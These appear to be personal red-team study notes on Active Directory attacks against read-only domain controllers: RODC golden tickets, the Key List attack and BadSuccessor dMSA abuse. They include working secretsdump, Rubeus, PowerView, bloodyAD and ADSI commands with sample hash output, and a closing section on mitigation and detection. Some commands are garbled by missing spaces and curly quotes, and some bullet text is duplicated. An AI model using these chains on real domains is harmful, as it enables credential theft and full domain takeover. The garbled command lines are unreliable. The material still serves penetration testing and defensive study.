RODC-issued TGT can be:

  • Upgraded to:
    • Full domain TGT

By requesting:

  • Service: KRBTGT

7. 📊 Credential Tracking Attributes

These are extremely important for visibility:


1. msDS-RevealedList

  • Users whose passwords are:
    • ✅ Cached on RODC

2. msDS-AuthenticatedToAccountList

  • Users who:
    • ✅ Authenticated via RODC

🧠 Summary

Attribute | Tracks |
— | — |
msDS-RevealedList | Cached credentials |
msDS-AuthenticatedToAccountList | Authenticated users |

8. 🧬 RODC-Specific Attributes Overview

Attribute | Function | Importance |
— | — | — |
managedBy | RODC admin control | 🔥 High |
msDS-RevealOnDemandGroup | Allowed credential caching | 🔥 High |
msDS-NeverRevealGroup | Denied credential caching | 🔥 High |
msDS-RevealedList | Cached users | Medium |
msDS-AuthenticatedToAccountList | Auth history | Medium |
msDS-KrbTgtLink | Links KRBTGT account | 🔥 High |

9. 🎯 Why These Attributes Are Important

✔️ Security Control Layer

  • Define:
    • Who can authenticate
    • Whose credentials are exposed

✔️ Authentication Logic

  • Entire RODC authentication depends on:
    • These attributes

✔️ Kerberos Isolation

  • Separate KRBTGT:
    • Limits blast radius

✔️ Visibility & Auditing

  • You can:
    • Track cached users
    • Track authentication patterns

10. 🧠 Final Understanding

RODC is NOT just:

“A read-only DC”

It is actually:

“A controlled authentication proxy with selective credential storage and isolated Kerberos trust”

🔐 All Ways to Get Admin on an RODC

Think in terms of what you control:


1. 🖥️ Control the RODC Host (OS-Level)

✔️ Methods

  • Credential reuse (local admin creds)

  • Service exploitation

  • Pass-the-Hash / Kerberos auth

  • Interactive sessions (RDP, WinRM)

🎯 Result

  • Direct:
    • Local admin / SYSTEM
  • Dump:
    • Cached creds
    • KRBTGT_XXXXX

2. 🧬 Control the RODC AD Object (Most Powerful)

This is where most escalation comes from.


✔️ If you have ACLs like:

  • GenericAll

  • GenericWrite

  • WriteDACL

  • WriteOwner


🔑 You can abuse:

(A) managedBy

  • Add yourself → become admin

(B) Password Replication Attributes

  • msDS-RevealOnDemandGroup

  • msDS-NeverRevealGroup

👉 Enables:

  • Credential exposure (Key List attack later)

(C) RBCD

  • Set msDS-AllowedToActOnBehalfOfOtherIdentity

  • Impersonate users to RODC


(D) Shadow Credentials

  • Add msDS-KeyCredentialLink

  • Authenticate as RODC computer account


3. 👥 Abuse Delegated Admin Model

✔️ Paths

(A) Compromise RODC Admin Group

  • Users in managedBy

(B) Weak Group Control

  • You can:
    • Modify group membership
    • Add yourself

🎯 Result

  • Become RODC admin indirectly

4. 🔐 Credential-Based Access

✔️ If any of these are cached on RODC:

  • Local IT admins

  • Service accounts

  • Delegated admins


🎯 You can:

  • Dump them

  • Reuse credentials

  • Pivot to admin


5. ⚙️ Kerberos Delegation Abuse


✔️ RBCD (you mentioned)

  • Needs chaining

✔️ Constrained Delegation (RODC has it enabled)

RODCs have:

  • TrustedToAuthForDelegation = TRUE

👉 Meaning:

  • They can request TGS on behalf of users

⚠️ Abuse scenario:

  • If you control RODC machine account:
    • You can leverage delegation flows

Golden Ticket + Key List Attack

🔐 1. RODC Golden Ticket


📌 Concept

  • Similar to classic Golden Ticket

  • But uses:

    • RODC-specific KRBTGT (KRBTGT_XXXXX)
  • Scope is limited to:

    • Users allowed by msDS-RevealOnDemandGroup

✅ Prerequisites

You must have:

  • ✔️ Local admin access on RODC

  • ✔️ Ability to dump secrets (LSASS / ntds.dit)

  • ✔️ Extract:

    • KRBTGT_XXXXX AES/NT hash
  • ✔️ Domain SID

  • ✔️ Target user RID


🔍 Extracting RODC KRBTGT Key

Example (using secretsdump-like approach):


secretsdump.py-just-dc-user krbtgt_25078 domain.local/rodc$@RODC-IP

👉 Output:

  • AES256 / NTLM hash of RODC KRBTGT

🛠️ Forge RODC Golden Ticket

Using Rubeus:


Rubeus.exe golden \

/rodcNumber:25078 \

/aes256:<KRBTGT_AES256_HASH> \

/user:admin \

/id:1136 \

/domain:shenanigans.labs \

/sid:S-1-5-21-XXXXX

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : SHENANIGANS.LABS (SHENANIGANS)

[*] SID            : S-1-5-21-1437000690-1664695696-1586295871

[*] UserId         : 1136

[*] Groups         : 520,512,513,519,518

[*] ServiceKey     : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545

[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256

[*] KDCKey         : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545

[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256

[*] Service        : krbtgt

[*] Target         : shenanigans.labs

[*] Generating EncTicketPart

[*] Signing PAC

[*] Encrypting EncTicketPart

[*] Generating Ticket

[*] Generated KERB-CRED

[*] Forged a TGT for 'admin@shenanigans.labs'

[*] AuthTime       : 1/19/2023 8:05:52 PM

[*] StartTime      : 1/19/2023 8:05:52 PM

[*] EndTime        : 1/20/2023 6:05:52 AM

[*] RenewTill      : 1/26/2023 8:05:52 PM

[*] base64(ticket.kirbi):

      doIFgzCCBX+gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoRIbEFNIRU5BTklHQU5TLkxBQlOi

      JTAjoAMCAQKhHDAaGwZ

🔍 What’s Happening Internally

  • /rodcNumber → maps to:
    • msDS-SecondaryKrbTgtNumber
  • Ticket is:
    • Signed using RODC KRBTGT
  • PAC is:
    • Forged locally

⚠️ Limitation

This ticket only works if:

  • ✔️ User is in msDS-RevealOnDemandGroup

  • ❌ Not in msDS-NeverRevealGroup


🔑 2. Key List Attack


📌 Concept

Abuses:

RODC’s ability to request credentials from writable DC


✅ Prerequisites

  • ✔️ RODC Golden Ticket (from previous step)

  • ✔️ Target account must be:

    • Allowed in msDS-RevealOnDemandGroup
    • Not denied

🛠️ Request Key List (Extract NT Hash)


Rubeus.exe asktgs \

/ticket:<base64_TGT> \

/service:krbtgt/domain.local \

/dc:dc1.domain.local \

/keyList \

/enctype:aes256

 ServiceName              :  krbtgt/SHENANIGANS.LABS

  ServiceRealm             :  SHENANIGANS.LABS

  UserName                 :  admin

  UserRealm                :  SHENANIGANS.LABS

  StartTime                :  1/19/2023 8:06:36 PM

  EndTime                  :  1/20/2023 6:05:52 AM

  RenewTill                :  1/1/0001 12:00:00 AM

  Flags                    :  name_canonicalize, pre_authent

  KeyType                  :  aes256_cts_hmac_sha1

  Base64(key)              :  1KBODJsZr0COB8F0hGmHmY87dvn1tF57tcgd8op65I8=

  Password Hash            :  64F12CDDAA88057E06A81B54E73B949B

🔍 What Happens Internally

  • Sends:
    • TGS-REQ with KERB-KEY-LIST-REQ
  • DC responds:
    • KERB-KEY-LIST-REP
  • Output includes:
    • NT hash of target user

🎯 Result

👉 You now have:

  • NT hash of target account

  • Can perform:

    • Pass-the-Hash
    • Kerberos abuse

🔥 3. Attribute Manipulation (Core Escalation Logic)


📌 Concept

Control over RODC object ⇒ control over:

  • Who’s credentials can be retrieved

✅ Prerequisites

You must have one of:

  • ✔️ GenericAll

  • ✔️ GenericWrite

  • ✔️ WriteDACL

  • ✔️ WriteOwner

  • ✔️ WriteProperty (on relevant attributes)

https://app.notion.com

https://app.notion.com


🛠️ Add Target to Allowed List

Using PowerView:


Set-DomainObject-IdentityRODC$-Set @{

'msDS-RevealOnDemandGroup'=@(

'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local',

'CN=Administrator,CN=Users,DC=domain,DC=local'

 )

}

🛠️ Verify Change


Get-DomainComputer RODC -Properties msDS-RevealOnDemandGroup

🛠️ Remove from Deny List (if needed)


Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'

🔍 What This Does

  • Expands:
    • Who RODC is allowed to fetch credentials for
  • Breaks:
    • Default trust boundary

🔑 4. Gaining Admin Access to RODC (via managedBy)


📌 Concept

managedBy ⇒ local admin on RODC


🛠️ Modify managedBy


Set-DomainObject-IdentityRODC$-Set @{

managedBy='CN=attacker,CN=Users,DC=domain,DC=local'

}

🔍 Result

  • Attacker becomes:
    • Local admin on RODC
  • Can:
    • Dump credentials
    • Extract KRBTGT

How we get the hash after golden ticket ??

🎯 Goal

You have:

  • ✔️ RODC admin access

  • ✔️ RODC KRBTGT_XXXXX key

  • ✔️ Modified:

    • msDS-RevealOnDemandGroup → includes Domain Admin
    • msDS-NeverRevealGroup → cleared / doesn’t block

👉 Goal:

Get Domain Admin NT hash


🔐 Step-by-Step: What Actually Happens


1. 🧾 You Forge an RODC TGT

Using Rubeus, you create a ticket like:


Rubeus.exe golden /rodcNumber:25078 /aes256:<RODC_KRBTGT_KEY> /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-XXXXX

🔍 Internally

  • You are saying:

    “I am Administrator, authenticated by THIS RODC”

  • Ticket is:

    • Signed with RODC KRBTGT
    • Contains:
      • User = Administrator
      • Groups = Domain Admins, etc.

2. 🧠 Why This Ticket Is Trusted

When you send this ticket to a writable DC:

The DC checks:

✔️ Condition 1:

Is user allowed for this RODC?

  • msDS-RevealOnDemandGroup → ✔️ YES

✔️ Condition 2:

Is user denied?

  • msDS-NeverRevealGroup → ❌ NO (you removed it)

👉 Result:

Writable DC accepts the RODC-issued identity


3. 🔑 You Send a Special Request (Key List)

Now you don’t request a normal service ticket.

You send:


Rubeus.exe asktgs /ticket:<TGT> /service:krbtgt/corp.local /keyList

🔍 What This Means

You are asking:

“Give me the keys (credentials) for this user”


4. ⚙️ What Writable DC Does Internally

This is the critical part.


🧠 Normal Behavior (Legitimate RODC)

When a real RODC needs NTLM support:

  1. It asks DC:

    “Give me the password/hash of user X”

  2. DC checks:

    • Is RODC allowed to know this user’s credentials?
  3. If YES:

    • DC sends:
      • NT hash
      • Kerberos keys

🔥 What You Did

You spoofed the RODC itself

  • Your forged TGT = “I am a trusted RODC acting for this user”

👉 So DC believes:

“This RODC is allowed to retrieve Administrator’s credentials”


5. 📥 DC Responds with Credentials

DC sends:

  • KERB-KEY-LIST-REP

Containing:


Password Hash : <NTLM hash of Administrator>

🎯 Final Result

You now have:

  • ✔️ Domain Admin NT hash

  • ✔️ Can perform:

    • Pass-the-Hash
    • Silver Ticket
    • Full domain compromise

🧠 Why This Works (Core Insight)


🔑 Root Cause

RODCs are trusted to retrieve credentials for allowed users


❗ Trust is Controlled By:

  • msDS-RevealOnDemandGroup

  • msDS-NeverRevealGroup


🔥 You Broke the Model By:

  1. Adding Domain Admin to allowed list

  2. Removing from deny list

  3. Forging RODC identity


👉 So DC thinks:

“This is a legitimate RODC requesting valid credentials”


⚠️ Important Clarification

This is NOT:

  • Cracking password

  • Dumping LSASS from DC


👉 It is:

Asking DC to hand over the hash legitimately


🧩 Why Golden Ticket Alone Is Not Enough

RODC Golden Ticket:

  • ✔️ Authenticates you as user

  • ❌ Does NOT give hash


👉 Key List Attack is required to:

  • Extract credentials

🔥 Full Chain (Clean View)

  1. Compromise RODC

  2. Dump KRBTGT_XXXXX

  3. Modify:

    • RevealOnDemandGroup
    • NeverRevealGroup
  4. Forge RODC TGT (as DA)

  5. Send Key List request

  6. DC returns DA hash


🧠 Final One-Line Understanding

You trick the Domain Controller into thinking a trusted RODC is requesting credentials for a user it is allowed to cache — so it gives you the hash.

🔐 What does the DC actually send back?

📌 Your question

“We send TGT → does DC give TGS with hash?”

✔️ Precise Answer:

Yes and no (important nuance):

  • ✔️ You do receive a TGS-REP

  • ✔️ Inside that response is a special structure:

    • KERB-KEY-LIST-REP
  • ✔️ That structure contains:

    • Kerberos keys (AES, etc.)
    • NT hash (NTLM hash)

🧠 So technically:

👉 It’s not:

“normal TGS containing a hash”

👉 It is:

“TGS response containing a credential structure (key list)”


🔍 What is inside the response?

From your example:


ServiceName              : krbtgt/DOMAIN.LOCAL

UserName                 : admin

KeyType                  : aes256

Password Hash            : 64F12CDDAA88057E06A81B54E73B949B

📌 Internally it contains:

  • AES keys (Kerberos)

  • RC4 key (NT hash)

  • Possibly multiple encryption types


🎯 Why does DC send this?

Because it thinks:

“This RODC is allowed to cache this user’s credentials”


So instead of:

  • Sending just a ticket

It sends:

  • Actual credential material

🔑 Important Doubt Cleared

❓ “Do we still need to dump RODC cache?”

✔️ Answer: NO

Once Key List Attack succeeds:

  • You already have:
    • ✔️ NT hash of target
  • So:
    • ❌ No need to check RODC cache
    • ❌ No need to wait for caching

🧠 Why?

Because:

Method | Source of Hash |
— | — |
RODC cache dump | Stored locally in RODC |
Key List Attack | Directly from writable DC |

👉 Key List Attack is:

More powerful than cache dumping


🔥 Key Difference (Very Important)

Feature | RODC Cache | Key List Attack |
— | — | — |
Requires user to log in | ✅ Yes | ❌ No |
Depends on cached creds | ✅ Yes | ❌ No |
Gets hash directly | ❌ Indirect | ✅ Direct |
Source | RODC | Writable DC |

🧠 Final Understanding (Critical Insight)

With Key List Attack, you are not extracting existing credentials — you are forcing the Domain Controller to give you fresh credential material on demand.


⚠️ One More Subtle Point

Even though you get a TGS-REP, the important part is:

👉 Not the ticket itself

👉 But the credential data embedded in it


🎯 Final Answer (Clean)

When you send the forged RODC TGT and request a key list, the Domain Controller returns a TGS-REP that contains a special credential structure (KERB-KEY-LIST-REP) which includes the target user’s NT hash. Once you obtain this hash, you do not need to interact with the RODC cache anymore, because you already have the credential directly from the Domain Controller.


🧠 One-Line Mental Model

“Golden Ticket gives identity → Key List Attack converts identity into credentials.”

PoC - RBCD + Properties Manipluation

Note:

Since user belongs to tier 1 he can add to RODC01 group and modify the policy since he can WriteAccounPermission Rights


bloodyAD -u l.wilson_adm -p 'Pass123!' -d garfield.htb --host 10.129.23.208  add groupMember "RODC Administrators" l.wilson_adm

Note

🔴 msDS-NeverRevealGroup (DENY LIST)

👉 Users/groups here:

❌ Their passwords will NEVER be cached on RODC


🟢 msDS-RevealOnDemandGroup (ALLOW LIST)

👉 Users/groups here:

✅ Their passwords CAN be cached on RODC (on request)

Note: It’s been cleared now

Bad Successor ( dMSA Abuse )

🎯 What is a dMSA (Delegated Managed Service Account)?

Before defining dMSA, understand one thing:

👉 dMSA is not just another service account.

The main purpose of dMSA is:


Secure migration from legacy service accounts

                ↓

to

Managed Service Accounts

This migration capability is what makes dMSA unique.


📌 Official Definition

A Delegated Managed Service Account (dMSA) is a special Active Directory account introduced in Windows Server 2025 that allows organizations to migrate existing service accounts to a managed identity while preserving access, permissions, and service functionality.

Think:


Old Service Account

        ↓

Migration Relationship

        ↓

dMSA

🔥 Why Was dMSA Created?

Microsoft looked at large enterprises and found:

Reality

Thousands of services still run as:

👤 svc_sql

👤 svc_backup

👤 svc_exchange

👤 svc_iis

These accounts may have existed for:

📅 5 years

📅 10 years

📅 15 years


These Accounts Usually Have

✅ Group Memberships


SQL Admins

Backup Operators

Server Admins

✅ Service Permissions


Database Access

File Share Access

Application Access

✅ Kerberos SPNs


MSSQLSvc/SQL01

HTTP/WEB01

✅ Delegation Settings


Constrained Delegation

Resource Based Delegation

✅ Scheduled Tasks


Backup Jobs

Automation Scripts

🚨 Migration Problem

Suppose company wants to replace:


svc_sql

with:


gMSA_SQL$

What must be migrated?

Permissions

SPNs

Delegations

Access Rights

Group Memberships

Application Configurations

Scheduled Tasks

Kerberos Settings


In a large enterprise:


1000+

Service Accounts

This becomes a nightmare.


Microsoft’s Goal

Microsoft wanted:


Old Account

       ↓

New Managed Account

without:

❌ Rebuilding everything

❌ Service outages

❌ Permission mistakes

❌ Manual migration work


🎯 Core Idea Behind dMSA

The major innovation is:

“Successor Relationship”

Instead of creating a completely unrelated account:


svc_sql

gMSA_SQL$

Microsoft wanted:


svc_sql

      ↓

Successor

      ↓

dMSA_SQL$

AD now understands:


This account replaces that account.

🔥 What Makes dMSA Different?

MSA

Knows:


I am a service account.

gMSA

Knows:


I am a service account

used by multiple computers.

dMSA

Knows:


I am replacing another account.

This is the huge difference.

Abusing Bad Successor ( Example - 1 )

Technical Analysis

Attack Chain Overview

The BadSuccessor attack follows a multi-stage process:

  1. Reconnaissance: Enumerate writable Organizational Units

  2. dMSA Creation: Create or modify delegated managed service accounts

  3. Privilege Linking: Associate dMSA with high-privilege accounts (simulating the migration)

  4. Ticket Manipulation: Leverage Kerberos ticketing to obtain elevated access

  5. Credential Extraction: Dump credentials via KERB-DMSA-KEY-PACKAGE

Phase 1: Environmental Reconnaissance

The attack begins by identifying vulnerable OUs where the current user has write permissions. Attackers scan Active Directory to locate OUs with insufficient access restrictions.

Phase 2: dMSA Object Manipulation

Once a target OU is identified, the attacker creates a new msDS-DelegatedManagedServiceAccount object or modifies an existing one. Key attributes configured include:

  • msDS-DelegatedMSAState: Set to 2 (active state)

  • msDS-ManagedAccountPrecededByLink: Points to the target high-privilege user DN

  • msDS-ManagedPasswordInterval: Password rotation interval

  • userAccountControl: Workstation trust account flags

  • msDS-SupportedEncryptionTypes: Kerberos encryption types

Phase 3: Kerberos Ticket Exploitation

The exploitation leverages Kerberos ticket-granting mechanisms:

  1. Obtain TGT for the principal with dMSA retrieval permissionsa. First, find the LUIDb. Now, dump their TGT

  2. Request TGS for the dMSA account using the TGT

  3. Use the dMSA TGS to request additional service tickets with elevated privileges

Phase 4: Credential Access and Lateral Movement

With elevated tickets, attackers can access high-value resources and perform lateral movement across the domain.

dMSA Credential Dumping via KERB-DMSA-KEY-PACKAGE

Understanding KERB-DMSA-KEY-PACKAGE

When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys.

According to Microsoft documentation, these are supposed to contain keys related to the current and previous password of the dMSA. More specifically, these are the keys for the account that it has “migrated,” the one set in the msDS-ManagedAccountPrecededByLink attribute.

Example Output


dMSA current keys found in TGS:

AES256: e2a4d53a420e9744cfe0e02be4737dbf54696de3b2cd9a8b1660f0766ba44c07

AES128: f85231afe622e50334b88ef5d42927b1

RC4: c26ce2ac39887be229af3b45388e6050

dMSA previous keys found in TGS (including keys of preceding managed accounts):

RC4: e16081eb077aca74bdbf8af12af43ac9

Credential Extraction Process

The KERB-DMSA-KEY-PACKAGE structure can be exploited to extract credential material:

  1. TGT Acquisition: Request a Ticket Granting Ticket for the dMSA account

  2. Package Extraction: Parse the KERB-DMSA-KEY-PACKAGE from the TGT response

  3. Key Retrieval: Extract current and previous password keys from the package

  4. Credential Reconstruction: Use extracted keys to reconstruct usable credentials

Abusing Bad Successor ( Example - 2 )

The vulnerability has been dubbed BadSuccessor and resides in the ability to abuse the legacy account migration process to dMSA. Its exploitation does not require prior elevation of privilege and can run in domains that do not even actively use dMSAs, as long as at least one domain controller running Windows Server 2025 exists.

Key features of BadSuccessor

Privilege escalation allowing complete domain control.

  • Affected product: Windows Server 2025.

  • Potential impact: Privilege escalation allowing complete domain control.

  • Operating requirements:

    • ◦ Write permission to a dMSA account (existing or newly created).
    • ◦ Permission to create objects in an Organizational Unit (OU).

Exploitation process

  • The vulnerability lies in how the KDC (Key Distribution Center) treats the msDS-ManagedAccountPrecededByLink attribute.

  • This link indicates which account is being replaced by the dMSA, and the KDC, without performing additional validations, grants the dMSA all the privileges of the original account, including:

SID of the replaced user.Group memberships (including Domain Admins).

Historical credentials of the migrated user (RC4-HMAC key).

  • SID of the replaced user.

  • Group memberships (including Domain Admins).

  • Historical credentials of the migrated user (RC4-HMAC key).


dMSA current keys found in TGS:

AES256: e2a4d53a420e9744cfe0e02be4737dbf54696de3b2cd9a8b1660f0766ba44c07

AES128: f85231afe622e50334b88ef5d42927b1

RC4: c26ce2ac39887be229af3b45388e6050

dMSA previous keys found in TGS (including keys of preceding managed accounts):

RC4: e16081eb077aca74bdbf8af12af43ac9

Attack flow

1- Create a new dMSA in an OU where you have CreateChild permissions.


New-ADServiceAccount -Name -DNSHostName -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword -path “OU=test,DC=domain,DC=com”

2- Set the attributes:

msDS-ManagedAccountPrecededByLink → objective DN (e.g. CN=Administrator,CN=Users,DC=dominio,DC=local)

msDS-DelegatedMSAState → 2 (full migration)

  • msDS-ManagedAccountPrecededByLink → objective DN (e.g. CN=Administrator,CN=Users,DC=dominio,DC=local)

  • msDS-DelegatedMSAState → 2 (full migration)


$dMSA = [ADSI]”LDAP://CN=attacker_dmsa,OU=test,DC=domain,DC=com”

$dMSA.Put(“msDS-DelegatedMSAState”,2)

$dMSA.Put(“msDS-ManagedAccountPrecededByLink”,

“CN=Administrator,CN=users,DC=domain,DC=com”)

$dMSA.SetInfo()

3- Request a TGT for the dMSA (e.g. with Rubeus):


Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/dominio.com /dmsa /ptt /opsec /nowrap /ticket:<Machine TGT>

4- The TGT obtained will include:

Domain Administrator SIDPrivileged group memberships (Domain Admins, Enterprise Admins)Historical keys of the original user

  • Domain Administrator SID

  • Privileged group memberships (Domain Admins, Enterprise Admins)

  • Historical keys of the original user

Additional Attack Capabilities

In addition to privilege escalation, it was observed that the dMSA receives in its KERB-DMSA-KEY-PACKAGE the cryptographic keys of the replaced user, including previous passwords in formats such as RC4-HMAC. This makes it possible to:

Target password recovery.Use of old tickets issued with previous keys.Perform extended Kerberoasting attacks.

  • Target password recovery.

  • Use of old tickets issued with previous keys.

  • Perform extended Kerberoasting attacks.

Impact

This behavior can be exploited against any account on the domain, including:

  • Domain administrators

  • Domain Controllers

  • Protected Users

And no access to the target account is required. All you need is permission on a dMSA and the ability to write to its attributes.

Mitigation of BadSuccessor

Microsoft has acknowledged the problem but has not yet released a patch. Recommended mitigation includes:

Immediate containment

Restrict CreateChild permissions on OUs.

Audit permissions on msDS-DelegatedManagedServiceAccount and prevent non-privileged users from creating dMSAs.

Block or monitor the use of Start-ADServiceAccountMigration.

  • Restrict CreateChild permissions on OUs.

  • Audit permissions on msDS-DelegatedManagedServiceAccount and prevent non-privileged users from creating dMSAs.

  • Block or monitor the use of Start-ADServiceAccountMigration.

Auditing and detection

Audit dMSA Creation: Configure a SACL to Record the Creation of New msDS-DelegatedManagedServiceAccount Objects (Event ID 5137).

Monitor Attribute Modifications: Configure a SACL for Modifications to the msDS-ManagedAccountPrecededByLink Attribute (Event ID 5136).

dMSA authentication trace: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure, the domain controller logs the following event (Event ID 2946).

  • Audit dMSA Creation: Configure a SACL to Record the Creation of New msDS-DelegatedManagedServiceAccount Objects (Event ID 5137).

  • Monitor Attribute Modifications: Configure a SACL for Modifications to the msDS-ManagedAccountPrecededByLink Attribute (Event ID 5136).

  • dMSA authentication trace: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure, the domain controller logs the following event (Event ID 2946).